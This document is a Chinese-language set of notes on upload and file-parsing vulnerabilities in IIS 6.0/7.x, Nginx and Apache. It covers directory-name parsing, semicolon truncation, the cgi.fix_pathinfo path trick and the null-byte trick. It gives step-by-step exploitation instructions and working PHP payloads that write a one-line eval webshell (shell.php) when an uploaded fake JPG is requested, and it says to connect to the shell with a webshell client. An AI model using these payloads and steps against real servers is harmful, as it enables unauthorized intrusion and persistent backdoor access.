1.目录解析
漏洞原理:在网站下建立名字为 xx.asp的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。(php的也是一样)
漏洞利用:
例如创建目录 images.php,那么如果把这个写有一句话木马的1.jpg文件上传进images.php这个目录下面,那么
这个就是一个后门地址,可以直接用菜刀去连接
2.文件解析
xx.asp;.jpg (分号截断)
漏洞原理:在IIS6.0下的服务器默认不解析“;”后面的内容,也就是说xx.asp;.jpg会被服务器看成是xx.asp,解析成了asp文件
漏洞利用:上传一个写有一句话的1.asp;.jpg木马文件就可以直接用菜刀连接了(或者直接上传一个大马也可以直接访问了)
IIS6.0 默认的可执行文件除了asp还包含这三种
/xx.asa
/xx.cer
/xx.cdx
二、IIS 7.x/ Nginx <8.03解析漏洞
Nginx漏洞原理:
Nginx默认是以CGI的方式支持PHP解析的(即默认Fast-CGI为开启状态),普遍的做法是:上传一个名字为1.jpg,内容为:
<?
PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件(其实就是利用了fputs这个函数),然后访问1.jpg/.php,在这个目录下就会生成一句话木马 shell.php
·IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
三、Nginx <8.03 空字节代码执行漏洞
漏洞原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
影响版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
四、利用apache解析漏洞绕过服务器端扩展名检测:
漏洞原理:Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断. 这种漏洞存在于使用module模式与php结合的所有版本的Apache。
五,IIS7.0,7.5和Nginx<8.03畸形解析漏洞(写webshell漏洞)
原理:在上传文件所在目录下创建一个一句话木马文件
实现过程:新建一个1.txt文件,内容为:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>')?>
将文件保存成1.jpg格式,上传到服务器,假设上传路径为/upload,
上传成功后,直接访问/upload/1.jpg,然后我们会发现/upload目录下创建了一个一句话木马文件shell.php